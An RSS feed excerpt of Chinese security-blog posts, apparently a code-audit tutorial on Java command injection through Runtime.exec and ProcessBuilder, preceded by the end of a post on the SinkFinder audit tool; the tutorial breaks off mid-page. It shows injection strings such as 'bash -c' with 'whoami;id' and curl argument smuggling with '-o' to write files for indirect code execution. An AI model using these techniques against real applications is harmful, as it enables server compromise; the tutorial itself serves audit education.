auto;height: auto;align-self: center;padding-left: 7px;"><div style="display: flex;width: 100%;flex-flow: column;"><div style="z-index: 1;"><div style="justify-content: flex-start;display: flex;flex-flow: row;"><p style="display: inline-block;vertical-align: middle;width: auto;min-width: 5%;flex: 0 0 auto;height: auto;align-self: center;"><svg viewBox="0 0 1 1" style="float:left;line-height:0;width:0;vertical-align:top;"></svg></p></div></div></div></div></div><p style="font-size: 15px;"><ul class="list-paddingleft-1" style="padding-left: 40px;list-style-position: outside;"><li><p>更新入口 Source 点判断</p></li><li><p>集成 LLM 能力</p></li><li><p>其他缓存优化</p></li></ul></p><div style="text-align: left;justify-content: flex-start;display: flex;flex-flow: row;margin-top: 10px;margin-bottom: 10px;"><div style="display: inline-block;vertical-align: middle;width: auto;align-self: center;flex: 0 0 auto;min-width: 5%;height: auto;"><div style="text-align: center;"><div style="text-align: justify;color: rgb(100, 100, 100);"><p style="text-align: center;"><strong>1. Source 点判断</strong></p></div></div></div><div style="display: inline-block;vertical-align: middle;width: auto;flex: 100 100 0%;height: auto;align-self: center;padding-right: 9px;padding-left: 12px;"><div style="margin-top: 0.5em;margin-bottom: 0.5em;"><p style="background-color: rgb(101, 128, 175);height: 1px;"><svg viewBox="0 0 1 1" style="float:left;line-height:0;width:0;vertical-align:top;"></svg></p></div></div><p style="display: inline-block;vertical-align: middle;width: auto;min-width: 5%;flex: 0 0 auto;height: auto;align-self: center;"><svg viewBox="0 0 1 1" style="float:left;line-height:0;width:0;vertical-align:top;"></svg></p><div style="display: inline-block;vertical-align: middle;width: auto;min-width: 5%;flex: 0 0 auto;height: auto;align-self: center;padding-left: 7px;"><div style="display: flex;width: 100%;flex-flow: column;"><div style="z-index: 1;"><div style="justify-content: flex-start;display: flex;flex-flow: row;"><p style="display: inline-block;vertical-align: middle;width: auto;min-width: 5%;flex: 0 0 auto;height: auto;align-self: center;"><svg viewBox="0 0 1 1" style="float:left;line-height:0;width:0;vertical-align:top;"></svg></p></div></div></div></div></div><p style="font-size: 15px;"><ul class="list-paddingleft-1" style="padding-left: 40px;list-style-position: outside;"><li><p>webx 入口实现 com.alibaba.citrus.service.pipeline.Valve 的接口；</p></li><li><p>servlet 入口继承自 javax.servlet.Servlet 类</p></li><li><p>实现接口包含 Filter/Interceptor</p></li><li><p>spring入口存在 Controller/RestController 注解</p></li></ul></p><div style="text-align: left;justify-content: flex-start;display: flex;flex-flow: row;margin-top: 10px;margin-bottom: 10px;"><div style="display: inline-block;vertical-align: middle;width: auto;align-self: center;flex: 0 0 auto;min-width: 5%;height: auto;"><div style="text-align: center;"><div style="text-align: justify;color: rgb(100, 100, 100);"><p style="text-align: center;"><strong>2. LLM 能力集成</strong></p></div></div></div><div style="display: inline-block;vertical-align: middle;width: auto;flex: 100 100 0%;height: auto;align-self: center;padding-right: 9px;padding-left: 12px;"><div style="margin-top: 0.5em;margin-bottom: 0.5em;"><p style="background-color: rgb(101, 128, 175);height: 1px;"><svg viewBox="0 0 1 1" style="float:left;line-height:0;width:0;vertical-align:top;"></svg></p></div></div><p style="display: inline-block;vertical-align: middle;width: auto;min-width: 5%;flex: 0 0 auto;height: auto;align-self: center;"><svg viewBox="0 0 1 1" style="float:left;line-height:0;width:0;vertical-align:top;"></svg></p><div style="display: inline-block;vertical-align: middle;width: auto;min-width: 5%;flex: 0 0 auto;height: auto;align-self: center;padding-left: 7px;"><div style="display: flex;width: 100%;flex-flow: column;"><div style="z-index: 1;"><div style="justify-content: flex-start;display: flex;flex-flow: row;"><p style="display: inline-block;vertical-align: middle;width: auto;min-width: 5%;flex: 0 0 auto;height: auto;align-self: center;"><svg viewBox="0 0 1 1" style="float:left;line-height:0;width:0;vertical-align:top;"></svg></p></div></div></div></div></div><ul class="list-paddingleft-1" style="padding-left: 40px;list-style-position: outside;"><li><p><span style="font-size: 15px;">接入通义能力</span></p></li><li><p><span style="font-size: 15px;">将攻击链&amp;上下文代码逻辑提供给大模型，让他给出该路径可信分数，判断主要考虑：是否输入流可最终到达 sink 点；是否存在安全限制，绕过可能性</span></p></li></ul><div style="text-align: left;justify-content: flex-start;display: flex;flex-flow: row;margin-top: 10px;margin-bottom: 10px;"><div style="display: inline-block;vertical-align: middle;width: auto;align-self: center;flex: 0 0 auto;min-width: 5%;height: auto;"><div style="text-align: center;"><div style="text-align: justify;color: rgb(100, 100, 100);"><p style="text-align: center;"><strong>3. 代码链接</strong></p></div></div></div><div style="display: inline-block;vertical-align: middle;width: auto;flex: 100 100 0%;height: auto;align-self: center;padding-right: 9px;padding-left: 12px;"><div style="margin-top: 0.5em;margin-bottom: 0.5em;"><p style="background-color: rgb(101, 128, 175);height: 1px;"><svg viewBox="0 0 1 1" style="float:left;line-height:0;width:0;vertical-align:top;"></svg></p></div></div><p style="display: inline-block;vertical-align: middle;width: auto;min-width: 5%;flex: 0 0 auto;height: auto;align-self: center;"><svg viewBox="0 0 1 1" style="float:left;line-height:0;width:0;vertical-align:top;"></svg></p><div style="display: inline-block;vertical-align: middle;width: auto;min-width: 5%;flex: 0 0 auto;height: auto;align-self: center;padding-left: 7px;"><div style="display: flex;width: 100%;flex-flow: column;"><div style="z-index: 1;"><div style="justify-content: flex-start;display: flex;flex-flow: row;"><p style="display: inline-block;vertical-align: middle;width: auto;min-width: 5%;flex: 0 0 auto;height: auto;align-self: center;"><svg viewBox="0 0 1 1" style="float:left;line-height:0;width:0;vertical-align:top;"></svg></p></div></div></div></div></div><div style="font-size: 15px;"><p><a href="https://github.com/Phelaine/SinkFinder" target="_blank">https://github.com/Phelaine/SinkFinder</a></p></div><div style="font-size: 15px;"><p>更多内容参考：</p><p><a href="https://mp.weixin.qq.com/s?__biz=Mzg5ODE3NTU1OQ==&amp;mid=2247484406&amp;idx=1&amp;sn=4ebabbc7065f50f5a101437e02b5f55d&amp;scene=21#wechat_redirect" src="https://mp.weixin.qq.com/s?__biz=Mzg5ODE3NTU1OQ==&amp;mid=2247484406&amp;idx=1&amp;sn=4ebabbc7065f50f5a101437e02b5f55d&amp;scene=21#wechat_redirect" data-linktype="2"><a href="https://mp.weixin.qq.com/s/pKA0eG0B_yMkeV2-C1edWw" target="_blank">https://mp.weixin.qq.com/s/pKA0eG0B_yMkeV2-C1edWw</a></a></p></div></div></div></div></div></div><div style="font-size: 15px;"><p><strong>欢迎交流&amp;反馈！</strong></p></div></div><p style="display: none;"><mp-style-type data-value="3"></mp-style-type></p>


<p><img src="https://wechat2rss.xlab.app/img-proxy/?k=57a52796&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FZiaGB6iaicqkWhYOG6qmsTHl91apZHhAchcOzxZYTeAcGuIFRy9U0ImVAPWIxzu6OsZEIV6AFxMDGJQbVdX0ADkSw%2F640%3Fwx_fmt%3Dpng"/></p>



<p><a href="2247484434">阅读原文</a></p>
<p><a href="https://wechat2rss.xlab.app/link-proxy/?k=34ff8238&amp;r=1&amp;u=https%3A%2F%2Fmp.weixin.qq.com%2Fs%3F__biz%3DMzg5ODE3NTU1OQ%3D%3D%26mid%3D2247484434%26idx%3D1%26sn%3D53a73fd788799aa73d1b5bf8d884ad50">跳转微信打开</a></p>
]]></content:encoded>
      <pubDate>Sun, 01 Dec 2024 13:46:15 +0800</pubDate>
    </item>
    <item>
      <title>代码审计系列之java命令注入科普</title>
      <link>https://mp.weixin.qq.com/s?__biz=Mzg5ODE3NTU1OQ==&amp;mid=2247484428&amp;idx=1&amp;sn=8b48c4956fcea87b50468de66be2537d</link>
      <description>关于java命令注入Runtime/ProcessBuilder接口的科普</description>
      <content:encoded><![CDATA[<p>
原创 <span>medi0cr1ty</span> <span>2024-07-12 23:33</span> <span style="display: inline-block;">北京</span>
</p>

<p>关于java命令注入Runtime/ProcessBuilder接口的科普</p>
<p></p>



<p>
<img src="https://wechat2rss.xlab.app/img-proxy/?k=d02cbafe&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_jpg%2FZiaGB6iaicqkWjFJrOKCImN8tAKTSvAPVhRLg5cic4fdh7D8LmBUJBw5ygh5ZUwbQqdCibvCrGFU26dqINRicxwwglRQ%2F0%3Fwx_fmt%3Djpeg"/>
</p>


<h3 style="letter-spacing: normal;white-space: normal;text-align: left;line-height: 1.2;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 1.1em;font-weight: bold;margin-right: 8px;margin-bottom: 0.75em;padding-left: 8px;border-left-width: 3px;border-left-style: solid;border-left-color: rgb(15, 76, 129);color: rgb(63, 63, 63);">写在前面</h3><p style="white-space: normal;font-size: 14px;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;margin: 1.5em 8px;letter-spacing: 0.1em;color: rgb(63, 63, 63);">这里只讨论使用java执行命令的情况(Runtime/ProcessBuilder),结合之前挖过过的一些case或者群里见到过的case来讲。</p><h3 style="letter-spacing: normal;white-space: normal;text-align: left;line-height: 1.2;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 1.1em;font-weight: bold;margin-top: 2em;margin-right: 8px;margin-bottom: 0.75em;padding-left: 8px;border-left-width: 3px;border-left-style: solid;border-left-color: rgb(15, 76, 129);color: rgb(63, 63, 63);">名词科普</h3><p style="white-space: normal;font-size: 14px;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;margin: 1.5em 8px;letter-spacing: 0.1em;color: rgb(63, 63, 63);"><strong style="line-height: 1.75;color: rgb(15, 76, 129);">命令解释器shell</strong>：是一种软件程序(可视作一门编程语言的代码解释器)，它接收用户在命令行界面输入的指令和参数，并将其转换为计算机可理解和执行的操作。如unix系统常见的sh,bash,dash,zsh，windows常见的cmd.exe</p><p style="white-space: normal;font-size: 14px;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;margin: 1.5em 8px;letter-spacing: 0.1em;color: rgb(63, 63, 63);"><strong style="line-height: 1.75;color: rgb(15, 76, 129);">命令注入</strong>：是指攻击者通过在输入字段中恶意插入系统命令，利用应用程序对用户输入的不当处理，从而让系统执行这些恶意命令，达到获取敏感信息、控制服务器等非法目的。</p><h3 style="letter-spacing: normal;white-space: normal;text-align: left;line-height: 1.2;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 1.1em;font-weight: bold;margin-top: 2em;margin-right: 8px;margin-bottom: 0.75em;padding-left: 8px;border-left-width: 3px;border-left-style: solid;border-left-color: rgb(15, 76, 129);color: rgb(63, 63, 63);">原理科普</h3><p style="white-space: normal;font-size: 14px;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;margin: 1.5em 8px;letter-spacing: 0.1em;color: rgb(63, 63, 63);">Java的命令执行之所以“特殊”，根本原因<strong style="line-height: 1.75;color: rgb(15, 76, 129);">jdk中提供的命令执行的接口Runtime或ProcessBuilder默认没有套命令解释器</strong>，所以输入&amp; | ; $() ``这类shell的表达式语法并不会被解释并执行，因为java并没有去解释这些表达式。</p><p style="white-space: normal;font-size: 14px;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;margin: 1.5em 8px;letter-spacing: 0.1em;color: rgb(63, 63, 63);">这个怎么理解呢，就好比下面的python代码你在终端你加了python3这个代码解释器去执行他能执行，你不加，直接丢给shell去执行，他也没法执行。是一样的道理。</p><pre style="letter-spacing: normal;color: rgb(88, 110, 117);background-color: rgb(253, 246, 227);font-size: 14px;text-align: left;line-height: 1.5;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;overflow-x: auto;border-radius: 8px;padding: 1em;margin: 10px 8px;"><p style="line-height: 1.75;font-family: Menlo, &#34;Operator Mono&#34;, Consolas, Monaco, monospace;white-space: nowrap;">python3 -c &#34;import sys;print(sys.version)&#34;</p></pre><p style="text-align: center;"><img class="rich_pages wxw-img" data-galleryid="" data-imgfileid="100000773" data-ratio="0.26146788990825687" data-s="300,640" style="" data-type="jpeg" data-w="872" src="https://wechat2rss.xlab.app/img-proxy/?k=d8adfc76&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_jpg%2FZiaGB6iaicqkWjFJrOKCImN8tAKTSvAPVhRJPaXBbqrY5zj6G7CJmTun6HNqmGnGc2huDRQTS0ia2yICxknbzzYOlQ%2F640%3Fwx_fmt%3Djpeg%26from%3Dappmsg"/></p><p style="white-space: normal;font-size: 14px;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;margin: 1.5em 8px;letter-spacing: 0.1em;color: rgb(63, 63, 63);">那为什么像php,python这类语言的命令执行就可以默认拼接呢？因为他底层默认就套了命令解释器。是不是除了java其他的都套了解释器?当然也不是，比如golang就没有，所以大胆预测一波，等golang真正大面积走进这些安全专家的视线里，同样的问题还会被重复提及。</p><p style="white-space: normal;font-size: 14px;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;margin: 1.5em 8px;letter-spacing: 0.1em;color: rgb(63, 63, 63);">回到Java命令注入的科普上，Runtime.exec的入参可以是一个字符串或者字符串数组作。ProcessBuilder则是数组或可变参数。Runtime.exec实际上是调的ProcessBuilder，ProcessBuilder只要不套解释器的情况下，命令注入的可能性会非常低，所以这里重点说Runtime.exec。</p><p><span style="letter-spacing: normal;text-align: start;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-size: 14px;">Runtime.exec的入参有下面这些:</span></p><p style="text-align: center;"><img class="rich_pages wxw-img" data-galleryid="" data-imgfileid="100000774" data-ratio="0.3731481481481482" data-s="300,640" style="" data-type="jpeg" data-w="1080" src="https://wechat2rss.xlab.app/img-proxy/?k=8e33a026&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_jpg%2FZiaGB6iaicqkWjFJrOKCImN8tAKTSvAPVhRrgAiaicuTQnA3IK1xQXmUsCeR1XJrwJsF6l0RqS2ib0ALf980c8s1aoWA%2F640%3Fwx_fmt%3Djpeg%26from%3Dappmsg"/></p><p style="white-space: normal;font-size: 14px;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;margin: 1.5em 8px;letter-spacing: 0.1em;color: rgb(63, 63, 63);">入参为String的时候会使用空格以及\t\n\r\f做切割成数组：</p><pre style="letter-spacing: normal;color: rgb(88, 110, 117);background-color: rgb(253, 246, 227);font-size: 14px;text-align: left;line-height: 1.5;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;overflow-x: auto;border-radius: 8px;padding: 1em;margin: 10px 8px;"><p style="line-height: 1.75;font-family: Menlo, &#34;Operator Mono&#34;, Consolas, Monaco, monospace;white-space: nowrap;">public Process exec(String command,String[] envp,File dir)throwsIOException{if(command.length()==0)thrownewIllegalArgumentException(&#34;Empty command&#34;);StringTokenizer st =newStringTokenizer(command);String[] cmdarray =newString[st.countTokens()];for(int i =0; st.hasMoreTokens(); i++)            cmdarray[i]= st.nextToken();returnexec(cmdarray, envp, dir);}public StringTokenizer(String str){this(str,&#34; \t\n\r\f&#34;,false);    }</p></pre><p style="white-space: normal;font-size: 14px;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;margin: 1.5em 8px;letter-spacing: 0.1em;color: rgb(63, 63, 63);">然后交ProcessBuilder继续执行，最终根据不同环境调不同的原生方法启动,其中cmdarray[0]也就是数组中第一个的作为真正需要执行的程序来执行。</p><pre style="letter-spacing: normal;color: rgb(88, 110, 117);background-color: rgb(253, 246, 227);font-size: 14px;text-align: left;line-height: 1.5;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;overflow-x: auto;border-radius: 8px;padding: 1em;margin: 10px 8px;"><p style="line-height: 1.75;font-family: Menlo, &#34;Operator Mono&#34;, Consolas, Monaco, monospace;white-space: nowrap;">public Process exec(String[] cmdarray,String[] envp,File dir)throwsIOException{returnnewProcessBuilder(cmdarray).environment(envp).directory(dir).start();}</p><div><p style="line-height: 1.75;font-family: Menlo, &#34;Operator Mono&#34;, Consolas, Monaco, monospace;white-space: nowrap;"></p></div><div><p style="line-height: 1.75;font-family: Menlo, &#34;Operator Mono&#34;, Consolas, Monaco, monospace;white-space: nowrap;"></p></div><p style="line-height: 1.75;font-family: Menlo, &#34;Operator Mono&#34;, Consolas, Monaco, monospace;white-space: nowrap;">#pb.start()    static Process start(String[] cmdarray,                         java.util.Map&lt;String,String&gt; environment,String dir,ProcessBuilder.Redirect[] redirects,boolean redirectErrorStream)throwsIOException{...</p><p style="line-height: 1.75;font-family: Menlo, &#34;Operator Mono&#34;, Consolas, Monaco, monospace;white-space: nowrap;">return new UNIXProcess(toCString(cmdarray[0]),             argBlock, args.length,             envBlock, envc[0],             toCString(dir),                 std_fds,             redirectErrorStream);}finally{...}}</p><div><p style="line-height: 1.75;font-family: Menlo, &#34;Operator Mono&#34;, Consolas, Monaco, monospace;white-space: nowrap;"></p></div><div><p style="line-height: 1.75;font-family: Menlo, &#34;Operator Mono&#34;, Consolas, Monaco, monospace;white-space: nowrap;"></p></div><div><p style="line-height: 1.75;font-family: Menlo, &#34;Operator Mono&#34;, Consolas, Monaco, monospace;white-space: nowrap;"></p></div><p style="line-height: 1.75;font-family: Menlo, &#34;Operator Mono&#34;, Consolas, Monaco, monospace;white-space: nowrap;">UNIXProcess(finalbyte[] prog,finalbyte[] argBlock,finalint argc,finalbyte[] envBlock,finalint envc,finalbyte[] dir,finalint[] fds,finalboolean redirectErrorStream)throwsIOException{        pid = forkAndExec(launchMechanism.ordinal()+1,                          helperpath,                          prog,                          argBlock, argc,                          envBlock, envc,                          dir,                          fds,                          redirectErrorStream);try{            doPrivileged((PrivilegedExceptionAction&lt;Void&gt;)()-&gt;{                initStreams(fds);returnnull;});}catch(PrivilegedActionException ex){throw(IOException) ex.getException();}    }</p></pre><p style="white-space: normal;font-size: 14px;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;margin: 1.5em 8px;letter-spacing: 0.1em;color: rgb(63, 63, 63);">所以如果你传入的是sh -c &#34;whoami;ls&#34;那么java执行的第一个程序实际上sh而不是whoami或ls,sh执行后再根据自己的逻辑将whoami;ls切割并顺序启动，可以理解为whoami和ls是sh的子进程，sh是java的子进程; 如果传入的是&#34;whoami&amp;&amp;ls&#34;，java无法切割也不做解析,那么ls则不会作为第二个程序去执行，而是&#34;whoami&amp;&amp;ls&#34;这整个字符串作为一个程序去执行，环境中找不到这个文件，自然就会无法执行，进而一条都执行不成功。</p><h3 style="letter-spacing: normal;white-space: normal;text-align: left;line-height: 1.2;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 1.1em;font-weight: bold;margin-top: 2em;margin-right: 8px;margin-bottom: 0.75em;padding-left: 8px;border-left-width: 3px;border-left-style: solid;border-left-color: rgb(15, 76, 129);color: rgb(63, 63, 63);">注入科普</h3><p style="white-space: normal;font-size: 14px;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;margin: 1.5em 8px;letter-spacing: 0.1em;color: rgb(63, 63, 63);">前面基础科普讲完了，那么就是注入技巧的问题了。在无前置过滤的情况下：</p><p style="white-space: normal;font-size: 14px;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;margin: 1.5em 8px;letter-spacing: 0.1em;color: rgb(63, 63, 63);">套了命令解释器的拼接可执行</p><pre style="letter-spacing: normal;color: rgb(88, 110, 117);background-color: rgb(253, 246, 227);font-size: 14px;text-align: left;line-height: 1.5;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;overflow-x: auto;border-radius: 8px;padding: 1em;margin: 10px 8px;"><p style="line-height: 1.75;font-family: Menlo, &#34;Operator Mono&#34;, Consolas, Monaco, monospace;white-space: nowrap;">String cmd = &#34;whoami;id&#34;;Runtime.getRuntime().exec(String.format(&#34;bash -c %s&#34;,cmd));</p></pre><p style="white-space: normal;font-size: 14px;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;margin: 1.5em 8px;letter-spacing: 0.1em;color: rgb(63, 63, 63);">不套的拼接不可执行。</p><pre style="letter-spacing: normal;color: rgb(88, 110, 117);background-color: rgb(253, 246, 227);font-size: 14px;text-align: left;line-height: 1.5;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;overflow-x: auto;border-radius: 8px;padding: 1em;margin: 10px 8px;"><p style="line-height: 1.75;font-family: Menlo, &#34;Operator Mono&#34;, Consolas, Monaco, monospace;white-space: nowrap;">String cmd = &#34;whoami;id&#34;;Runtime.getRuntime().exec(String.format(&#34;xxxx %s&#34;,cmd));</p></pre><p style="white-space: normal;font-size: 14px;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;margin: 1.5em 8px;letter-spacing: 0.1em;color: rgb(63, 63, 63);">但可以考虑污染前面的xxx程序的参数，间接实现rce。比如执行程序是curl的时候可以通过-o参数写文件实现间接rce</p><pre style="letter-spacing: normal;color: rgb(88, 110, 117);background-color: rgb(253, 246, 227);font-size: 14px;text-align: left;line-height: 1.5;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;overflow-x: auto;border-radius: 8px;padding: 1em;margin: 10px 8px;"><p style="line-height: 1.75;font-family: Menlo, &#34;Operator Mono&#34;, Consolas, Monaco, monospace;white-space: nowrap;">cmd = &#34;<a href="http://www.baidu.com -o /tmp/baidu" target="_blank">http://www.baidu.com -o /tmp/baidu</a>&#34;;Runtime.getRuntime().exec(String.format(&#34;curl %s&#34;,cmd));</p></pre><p style="white-space: normal;font-size: 14px;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;margin: 1.5em 8px;letter-spacing: 0.1em;color: rgb(63, 63, 63);">再比如find的-exec参数，玩法比较多样，也有没得玩的时候。</p><p style="white-space: normal;font-size: 14px;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;margin: 1.5em 8px;letter-spacing: 0.1em;color: rgb(63, 63, 63);">遇到的大多数情况类似，这种直接在host中拼接执行的，可控的部分不作为sh的参数来输入，而是作为deploy.sh这个程序的参数来输入，这个但凡写过几行python就不用说也能理解。所以有没有可能rce取决于你的程序本身(deploy.sh)，而不是sh</p><pre style="letter-spacing: normal;color: rgb(88, 110, 117);background-color: rgb(253, 246, 227);font-size: 14px;text-align: left;line-height: 1.5;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;overflow-x: auto;border-radius: 8px;padding: 1em;margin: 10px 8px;"><p style="line-height: 1.75;font-family: Menlo, &#34;Operator Mono&#34;, Consolas, Monaco, monospace;white-space: nowrap;">String deployCmd = &#34;sh deploy.sh &#34; + host ;Runtime.getRuntime().exec(deployCmd);</p></pre><figure style="letter-spacing: normal;white-space: normal;font-size: 14px;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;margin: 1.5em 8px;color: rgb(63, 63, 63);"><p style="text-align: center;"><img class="rich_pages wxw-img" data-galleryid="" data-imgfileid="100000775" data-ratio="0.6111111111111112" data-s="300,640" style="" data-type="jpeg" data-w="1080" src="https://wechat2rss.xlab.app/img-proxy/?k=c1e83f81&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_jpg%2FZiaGB6iaicqkWjFJrOKCImN8tAKTSvAPVhRicQEANa8GYFkq1OByiaibvBL09PIfsMByGDYFErQ0aWNGYaRmtibw8zxDA%2F640%3Fwx_fmt%3Djpeg%26from%3Dappmsg"/></p><figcaption style="text-align: center;line-height: 1.75;color: rgb(136, 136, 136);font-size: 0.8em;"></figcaption></figure><p><span style="letter-spacing: normal;text-align: start;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-size: 14px;">再讲个特殊情况，某群里看到的case，群友用来面试别人的面试题，猜测他预期的答案就是上面这种情况，让别人回答去审计&#34;login.sh&#34;这个程序。</span></p><figure style="letter-spacing: normal;white-space: normal;font-size: 14px;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;margin: 1.5em 8px;color: rgb(63, 63, 63);"><p style="text-align: center;"><img class="rich_pages wxw-img" data-galleryid="" data-imgfileid="100000776" data-ratio="0.12319644839067703" data-s="300,640" style="" data-type="jpeg" data-w="901" 